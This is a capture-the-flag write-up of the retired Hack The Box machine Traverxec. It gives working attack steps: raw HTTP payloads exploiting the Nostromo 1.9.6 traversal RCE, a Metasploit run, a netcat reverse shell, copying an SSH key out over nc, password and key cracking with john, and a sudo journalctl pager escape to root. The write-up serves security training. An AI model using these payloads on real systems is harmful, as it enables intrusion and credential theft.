Note to fellow-HTBers: Only write-ups of retired HTB machines or challenges are allowed.

Machine info

Traverxec [by jkr ]
IP: 10.10.10.165
OS: Linux
Difficulty: Easy
Release: 16 Nov 2019
Retired: 11 April 2020

Recon

Nmap

As usual we kick off with a nmap scan of the box

# Nmap 7.80 scan initiated Tue Dec 17 15:29:54 2019 as: nmap -v -A -sC -T4 -oA scanning/nmap_traverxec 10.10.10.165
Nmap scan report for 10.10.10.165
Host is up (0.027s latency).
Not shown: 998 filtered ports
PORT  STATE SERVICE VERSION
22/tcp open ssh   OpenSSH 7.9p1 Debian 10+deb10u1 (protocol 2.0)
| ssh-hostkey: 
|  2048 aa:99:a8:16:68💿41:cc:f9:6c:84:01:c7:59:09:5c (RSA)
|  256 93:dd:1a:23:ee:d7:1f:08:6b:58:47:09:73:a3:88:cc (ECDSA)
|_ 256 9d:d6:62:1e:7a:fb:8f:56:92:e6:37:f1:10:db:9b:ce (ED25519)
80/tcp open http  nostromo 1.9.6
|_http-favicon: Unknown favicon MD5: FED84E16B6CCFE88EE7FFAAE5DFEFD34
| http-methods: 
|_ Supported Methods: GET HEAD POST
|_http-server-header: nostromo 1.9.6
|_http-title: "TRAVERXEC"
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Read data files from: /usr/bin/../share/nmap
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
# Nmap done at Tue Dec 17 15:30:12 2019 -- 1 IP address (1 host up) scanned in 17.43 seconds

Ports 22 and 80 are open.
Let’s start with checking the website.

The website doesn’t show much. It looks like someone is still working on building an online portfolio.

However, it looks like the site is running Nostromo 1.9.6 as webserver. You can see this in the nmap output, as well as on the error pages, e.g. when looking for a non-existing file and getting a 404.
Note that my screenshot shows traverxec.htb as hostname instead of the IP, this is because I added a static binding in my /etc/hosts file.

404 error revealing server technology

Initial foothold

Looking at the Exploit Database or searchsploit, we find some potential exploits for the Nostromo webserver.
The Directory Traversal Remote Code Exection looks particularly interesting. It even has a metasploit module available.

$searchsploit nostromo
--------------------------------------------------------------------------- ----------------------------------------
 Exploit Title                                                             |  Path
                                                                           | (/usr/share/exploitdb/)
--------------------------------------------------------------------------- ----------------------------------------
Nostromo - Directory Traversal Remote Command Execution (Metasploit)       | exploits/multiple/remote/47573.rb
nostromo nhttpd 1.9.3 - Directory Traversal Remote Command Execution       | exploits/linux/remote/35466.sh
--------------------------------------------------------------------------- ----------------------------------------

Looking at the code, it seems like the issues is caused because the server doesn’t properly handle null bytes. If you manually try to browse to e.g. ../../../../../etc/passwd the server will refuse to do so and stay at /, but if you use null bytes, it doesn’t properly clean the URL.

We can test this in a proxy tool like Burp. Although this would even work in something like cURL.

# REQUEST

GET /.%0d./.%0d./.%0d./.%0d./etc/passwd HTTP/1.1
Host: 10.10.10.165
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:70.0) Gecko/20100101 Firefox/70.0
Accept: */*
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Connection: close

# RESPONSE

HTTP/1.1 200 OK
Date: Tue, 17 Dec 2019 15:44:59 GMT
Server: nostromo 1.9.6
Connection: close
Last-Modified: Fri, 25 Oct 2019 18:34:30 GMT
Content-Length: 1395
Content-Type: text/html

root❌0:0:root:/root:/bin/bash
daemon❌1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin❌2:2:bin:/bin:/usr/sbin/nologin
[...]
david❌1000:1000:david,,,:/home/david:/bin/bash
systemd-coredump❌999:999:systemd Core Dumper:/:/usr/sbin/nologin

The request above works to retrieve a file. With the one below we can even execute shell commands.

# REQUEST

POST /.%0d./.%0d./.%0d./.%0d./bin/sh HTTP/1.1
Host: 10.10.10.165
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:70.0) Gecko/20100101 Firefox/70.0
Accept: */*
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Connection: close
Content-Length: 2

ls

# RESPONSE

HTTP/1.1 200 OK
Date: Tue, 17 Dec 2019 15:47:33 GMT
Server: nostromo 1.9.6
Connection: close
2to3-2.7
[
apt-listchanges
apt-mark
apt-sortpkgs
[...]
zipinfo
zless
zmore
znew

To make it a bit easier on ourselves, we can use the metasploit module instead.

First copy the exploit to the local metasploit “add-on” exploits folder.

$ sudo mkdir -p /root/.msf4/modules/exploits/multiple/remote/
$ sudo cp /usr/share/exploitdb/exploits/multiple/remote/47573.rb /root/.msf4/modules/exploits/multiple/remote/

$ sudo msfconsole

msf5 > reload_all
msf5 > search 47573

Matching Modules
================

   #  Name                           Disclosure Date  Rank  Check  Description
   -  ----                           ---------------  ----  -----  -----------
   0  exploit/multiple/remote/47573  2019-10-20       good  Yes    Nostromo Directory Traversal Remote Command Execution

msf5 > use 0

Then configure the exploit with the correct parameters. Being the IP of the target as RHOSTS and our IP as the LHOST.

msf5 exploit(multiple/remote/47573) > show options
msf5 exploit(multiple/remote/47573) > set RHOSTS 10.10.10.165
msf5 exploit(multiple/remote/47573) > set SRVHOST 10.10.14.180
msf5 exploit(multiple/remote/47573) > set LHOST 10.10.14.180

Running the exploit gives us a shell as the webserver user.

msf5 exploit(multiple/remote/47573) > run

[*] Started reverse TCP handler on 10.10.14.180:4444 
[*] Configuring Automatic (Unix In-Memory) target
[*] Sending cmd/unix/reverse_perl command payload
[*] Command shell session 2 opened (10.10.14.180:4444 -> 10.10.10.165:33620) at 2019-12-17 17:56:38 +0100

id
uid=33(www-data) gid=33(www-data) groups=33(www-data)

We can get a bit of a cleaner shell using a netcat listener.

# Attacker side
$ nc -lvnp 1337
listening on [any] 1337 ...

# Victim side
nc -v 10.10.14.180 1337 -e /bin/bash

# Attacker side
python -c 'import pty;pty.spawn("/bin/bash");'
# Ctrl+Z (background this process)
$ stty raw -echo
$ fg # Re-actve netcat process
www-data@traverxec:/usr/bin$ export TERM=xterm

Pivot to user

Next we do some recon as the webserver user as to find a way to gain access to the target user.

Using a tool like linEnum gives us a good view of where to start. For example, one of the findings is the following file containing a password (hash).

[-] htpasswd found - could contain passwords:
/var/nostromo/conf/.htpasswd
david:$1$e7NfNpNi$A6nCwOTqrNR2oDuIKirRZ/

Cracking this password is fairly easy since it’s basically just an MD5 hash.

$ cat htpasswd 
david:$1$e7NfNpNi$A6nCwOTqrNR2oDuIKirRZ/

$ john --wordlist=/usr/share/wordlists/rockyou.txt htpasswd
Warning: detected hash type "md5crypt", but the string is also recognized as "md5crypt-long"
Use the "--format=md5crypt-long" option to force loading these as that type instead
Using default input encoding: UTF-8
Loaded 1 password hash (md5crypt, crypt(3) $1$ (and variants) [MD5 256/256 AVX2 8x3])
Will run 4 OpenMP threads
Press 'q' or Ctrl-C to abort, almost any other key for status
Nowonly4me    (david)
1g 0:00:00:40 DONE (2020-01-23 17:53) 0.02469g/s 261195p/s 261195c/s 261195C/s Noyoudo..Nous4=5
Use the "--show" option to display all of the cracked passwords reliably
Session completed

Let’s check the rest of the Nostromo configuration to see where we might be able to use this password an/or if there are any hidden folders on the website.

www-data@traverxec:/var/nostromo$ cd /var/nostromo
www-data@traverxec:/var/nostromo$ cat conf/nhttpd.conf
# MAIN [MANDATORY]

servername              traverxec.htb
serverlisten            *
serveradmin             david@traverxec.htb
serverroot              /var/nostromo
servermimes             conf/mimes
docroot                 /var/nostromo/htdocs
docindex                index.html

# LOGS [OPTIONAL]

logpid                  logs/nhttpd.pid

# SETUID [RECOMMENDED]

user                    www-data

# BASIC AUTHENTICATION [OPTIONAL]

htaccess                .htaccess
htpasswd                /var/nostromo/conf/.htpasswd

# ALIASES [OPTIONAL]

/icons                  /var/nostromo/icons

# HOMEDIRS [OPTIONAL]

homedirs                /home
homedirs_public         public_www

We can check the Nostromo manual pages to see what each of these configuration settings actually do.

The final section of this configuration is of most value to us, by the looks of it.

HOMEDIRS

To serve the home directories of your users via HTTP, enable the homedirs option by defining the path in where the home directories are stored, normally /home. To access a users home directory enter a ~ in the URL followed by the home directory name like in this example:
http://www.nazgul.ch/~hacki/

The content of the home directory is handled exactly the same way as a directory in your document root. If some users don’t want that their home directory can be accessed via HTTP, they shall remove the world readable flag on their home directory and a caller will receive a 403 Forbidden response. Also, if basic authentication is enabled, a user can create an .htaccess file in his home directory and a caller will need to authenticate.

You can restrict the access within the home directories to a single sub directory by defining it via the homedirs_public option.

~ Nostromo webserver manual page

This means we should be able to visit the home directory of David via the website using ~david as path.

Visting http://traverxec.htb/~david/ gives us the following view:

Bruteforcing this web directory doesn’t give us anything. Nor are we ever asked to authenticate using Basic Authentication, so we have no use for the previously cracked password.

It looks like we need to find a different way to get to useful data.

Since homedirs_public is defined in the Nostromo config to be public_www, this means we’re actually seeing the contents of /home/david/public_www. Let’s visit that folder via our shell, assuming our webserver user is supposed to have access to this folder.

www-data@traverxec:/usr/bin$ cd /home
cd /home
www-data@traverxec:/home$ ls
ls
david
www-data@traverxec:/home$ cd david
cd david
www-data@traverxec:/home/david$ ls
ls
ls: cannot open directory '.': Permission denied
www-data@traverxec:/home/david$ cd public_www
cd public_www
www-data@traverxec:/home/david/public_www$ ls
ls
index.html  protected-file-area
www-data@traverxec:/home/david/public_www$ cd protected-file-area
cd protected-file-area
www-data@traverxec:/home/david/public_www/protected-file-area$ ls
ls
backup-ssh-identity-files.tgz

We might not be able to see the contents of David’s home folder, but we do have access to the public_www folder in there. In this folder we find a protected-file-area with what seems to be a backup of David’s SSH keys.

Let’s copy this backup to our local machine for further investigation.

# Set up listener on own system
$ nc -lvp 1337 > backup-ssh-identity-files.tgz

# Copy file from target to own system
www-data@traverxec:/home/david/public_www/protected-file-area$ cat backup-ssh-identity-files.tgz | nc -q 0 10.10.14.225 1337
$ tar -xzvf backup-ssh-identity-files.tgz 
home/david/.ssh/
home/david/.ssh/authorized_keys
home/david/.ssh/id_rsa
home/david/.ssh/id_rsa.pub

We appear to have gotten our hands on the private key of David, which should allow us to SSH into the box using his username and key.

$ ssh -i home/david/.ssh/id_rsa david@traverxec.htb
The authenticity of host 'traverxec.htb (10.10.10.165)' can't be established.
ECDSA key fingerprint is SHA256:CiO/pUMzd+6bHnEhA2rAU30QQiNdWOtkEPtJoXnWzVo.
Are you sure you want to continue connecting (yes/no/[fingerprint])? yes
Warning: Permanently added 'traverxec.htb,10.10.10.165' (ECDSA) to the list of known hosts.
Enter passphrase for key 'home/david/.ssh/id_rsa':

Sadly enough, he has password protected his key.
The password we cracked earlier doesn’t help here either.

Let’s try to crack the private key.

$ cd findings/home/david/.ssh/
$ /usr/share/john/ssh2john.py id_rsa > ../../../id_rsa.txt
$ cd ../../..
$ john id_rsa.txt 
Using default input encoding: UTF-8
Loaded 1 password hash (SSH [RSA/DSA/EC/OPENSSH (SSH private keys) 32/64])
Cost 1 (KDF/cipher [0=MD5/AES 1=MD5/3DES 2=Bcrypt/AES]) is 0 for all loaded hashes
Cost 2 (iteration count) is 1 for all loaded hashes
Will run 4 OpenMP threads
Note: This format may emit false positives, so it will keep trying even after
finding a possible candidate.
Proceeding with single, rules:Single
Press 'q' or Ctrl-C to abort, almost any other key for status
Warning: Only 2 candidates buffered for the current salt, minimum 8 needed for performance.
Warning: Only 5 candidates buffered for the current salt, minimum 8 needed for performance.
Warning: Only 2 candidates buffered for the current salt, minimum 8 needed for performance.
Warning: Only 7 candidates buffered for the current salt, minimum 8 needed for performance.
Almost done: Processing the remaining buffered candidate passwords, if any.
Proceeding with wordlist:/usr/share/john/password.lst, rules:Wordlist
hunter           (id_rsa)

Since hunter isn’t quite as strong as hunter2, we get the password in a matter of seconds.

We’ve got the user flag

We now login as David using the key and password we collected.
And TADA here’s user.txt 🙂

$ ssh -i id_rsa david@traverxec.htb
Enter passphrase for key 'id_rsa': #hunter
Linux traverxec 4.19.0-6-amd64 #1 SMP Debian 4.19.67-2+deb10u1 (2019-09-20) x86_64
Last login: Fri Jan 24 09:16:26 2020 from 10.10.15.165
david@traverxec:~$ ls
bin poop.sh public_www user.txt

Get root

Looking at the contents of David’s home directory, we find an interesting script.

david@traverxec:~$ ls
bin public_www user.txt
david@traverxec:~$ ls bin/
server-stats.head  server-stats.sh

Let’s look at the content of it.

david@traverxec:~$ cat bin/server-stats.sh                                                     
#!/bin/bash

cat /home/david/bin/server-stats.head
echo "Load: `/usr/bin/uptime`"
echo " "
echo "Open nhttpd sockets: `/usr/bin/ss -H sport = 80 | /usr/bin/wc -l`"
echo "Files in the docroot: `/usr/bin/find /var/nostromo/htdocs/ | /usr/bin/wc -l`"
echo " "
echo "Last 5 journal log lines:"
/usr/bin/sudo /usr/bin/journalctl -n5 -unostromo.service | /usr/bin/cat

It looks like script prints the contents of server-stats.head followed by some server stats.

Notice how sudo is used to print the last piece of stats.

david@traverxec:~$ bin/server-stats.sh 
                                                                          .----.
                                                              .---------. | == |
   Webserver Statistics and Data                              |.-"""""-.| |----|
         Collection Script                                    ||       || | == |
          (c) David, 2019                                     ||       || |----|
                                                              |'-.....-'| |::::|
                                                              '"")---(""' |___.|
                                                             /:::::::::::\"    "
                                                            /:::=======:::\
                                                        jgs '"""""""""""""' 

Load:  09:24:00 up 1 min,  3 users,  load average: 0.15, 0.07, 0.02
  
Open nhttpd sockets: 0
Files in the docroot: 117
  
Last 5 journal log lines:
-- Logs begin at Fri 2020-01-24 09:22:52 EST, end at Fri 2020-01-24 09:24:00 EST. --
Jan 24 09:22:56 traverxec systemd[1]: Starting nostromo nhttpd server...
Jan 24 09:22:56 traverxec nhttpd[417]: started
Jan 24 09:22:56 traverxec nhttpd[417]: max. file descriptors = 1040 (cur) / 1040 (max)
Jan 24 09:22:56 traverxec systemd[1]: Started nostromo nhttpd server.

Let’s copy the script to a more private space, so we don’t bother the other players.

david@traverxec:~$ cd /dev/shm/
david@traverxec:/dev/shm$ cp ~/bin/server-stats.* ./

Attempting to run anything other than the journalctl file always results in us having to provide the password of David, which we don’t have. This means the sudoers file probably restricts what we can run as sudo.

SPOILER:
Once we got root access, it was possible to look into /etc/sudoers and see exacly what the limitations on our use of sudo was.

# Allow david to tail last 5 lines of nhttpd logs for the server stats script.
# Should be safe.
david   ALL=(ALL:ALL) NOPASSWD:/usr/bin/journalctl -n5 -unostromo.service

Assuming our sudo privileges are limited to running journalctl, let’s see whether we can abuse this tool to get a shell.

GTFOBins to the rescue!

Since journalctl calls a pager, like less, we could possibly abuse it to run a shell command.

However, since output is piped to cat, we don’t get the pager.

What if we remove the pipe to cat?
Let’s change our copy of the script and remove that part of the following line:

/usr/bin/sudo /usr/bin/journalctl -n5 -unostromo.service

To get the pager, our screen must be small enough so it doesn’t fit 5 lines.
You can resize your terminal.
I use tmux, so I create an extra pane below my current one and resize my pane so it’s less than 5 lines high

Got the root flag

We then run the script, giving us the output of the script paged in less, allowing us to open up a shell as root (due to the use of sudo).

david@traverxec:/dev/shm$ ./server-stats.sh

!/bin/sh
# id
uid=0(root) gid=0(root) groups=0(root)
# cat /root/root.txt
9a##########06

And there we have the root flag 🙂